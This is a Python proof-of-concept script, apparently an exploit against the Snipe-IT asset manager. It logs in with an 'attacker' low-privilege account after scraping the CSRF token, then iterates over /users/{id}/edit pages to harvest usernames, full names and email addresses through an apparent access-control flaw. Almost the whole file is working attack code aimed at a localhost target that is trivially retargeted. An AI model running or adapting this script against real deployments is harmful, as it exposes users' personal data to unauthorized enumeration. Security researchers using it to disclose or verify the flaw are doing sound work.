import requests from bs4 import BeautifulSoup import argparse import sys # Configuration BASE_URL = "http://localhost:8000" LOGIN_URL = f"{BASE_URL}/login" print(""" ▄▄▄▄▄▄▄ ▄▄▄ █████▀▀▀ ▀▀ ███ ▀▀ ██ ▀████▄ ████▄ ██ ████▄ ▄█▀█▄ ████▄ ███ ██ ▄█▀▀▀ ▀██▀▀ ▀████ ██ ██ ██ ██ ██ ██▄█▀ ██ ▀▀ ███ ██ ▀███▄ ██ ███████▀ ██ ██ ██▄ ████▀ ▀█▄▄▄ ██ ████████ ██▄ ▄▄▄█▀ ██ ██ ▀▀ """) print("Snipe-IT User Enum (Web Scraping)") print("\n") def parse_args(): parser = argparse.ArgumentParser(description="Snipe-IT User Enum (Web Scraping)") # Attacker Credentials parser.add_argument("--attacker-username", type=str, required=True, help="Username of the attacker's account") parser.add_argument("--attacker-password", type=str, required=True, help="Password of the attacker's account") parser.add_argument("--max-id", type=int, default=100, help="Maximum User ID to check (default: 100)") return parser.parse_args() def login(args): session = requests.Session() # 1 get the login page to fetch CSRF token print(f"Fetching login page: {LOGIN_URL}") try: response = session.get(LOGIN_URL) response.raise_for_status() except requests.exceptions.RequestException as e: print(f"Error fetching login page: {e}") return None soup = BeautifulSoup(response.text, 'html.parser') token_input = soup.find('input', {'name': '_token'}) if not token_input: print("Could not find CSRF token on login page.") return None csrf_token = token_input['value'] print(f"Token CSRF found: {csrf_token}") # 2 login payload = { '_token': csrf_token, 'username': args.attacker_username, 'password': args.attacker_password } print(f"Attempting login as {args.attacker_username}") try: response = session.post(LOGIN_URL, data=payload, allow_redirects=True) response.raise_for_status() except requests.exceptions.RequestException as e: print(f"Error during login POST: {e}") return None # 3 verify login success if response.url == f"{BASE_URL}/" or "dashboard" in response.url or "Logout" in response.text: print("Login successful!") return session else: print("Login failed. Check credentials or response.") return None def list_users(session, max_id): print(f"\nEnumerating users via Web Scraping (ID 1 to {max_id})...\n") print(f"{'ID':<5} | {'Username':<20} | {'Name':<30} | {'Email':<30}") print("-" * 90) consecutive_failures = 0 for user_id in range(1, max_id + 1): url = f"{BASE_URL}/users/{user_id}/edit" try: response = session.get(url) if response.status_code == 200: soup = BeautifulSoup(response.text, 'html.parser') # find the username input field username_input = soup.find('input', {'name': 'username'}) if username_input: consecutive_failures = 0 username = username_input.get('value', 'N/A') # find other fields first_name = soup.find('input', {'name': 'first_name'}) last_name = soup.find('input', {'name': 'last_name'}) email_input = soup.find('input', {'name': 'email'}) f_name = first_name.get('value', '') if first_name else '' l_name = last_name.get('value', '') if last_name else '' full_name = f"{f_name} {l_name}".strip() email = email_input.get('value', 'N/A') if email_input else 'N/A' print(f"{user_id:<5} | {username:<20} | {full_name:<30} | {email:<30}") else: # Page loaded but no username field (maybe permission denied page or 404 handled gracefully) # print(f"[-] ID {user_id}: No data found (Permission denied or invalid ID)") consecutive_failures += 1 else: # print(f"[-] ID {user_id}: HTTP {response.status_code}") consecutive_failures += 1 if consecutive_failures >= 5: print("-" * 90) print(f"\nStopping after {consecutive_failures} consecutive failures.") break except Exception as e: print(f"Error checking ID {user_id}: {e}") print("-" * 90) if __name__ == "__main__": args = parse_args() session = login(args) if session: list_users(session, args.max_id)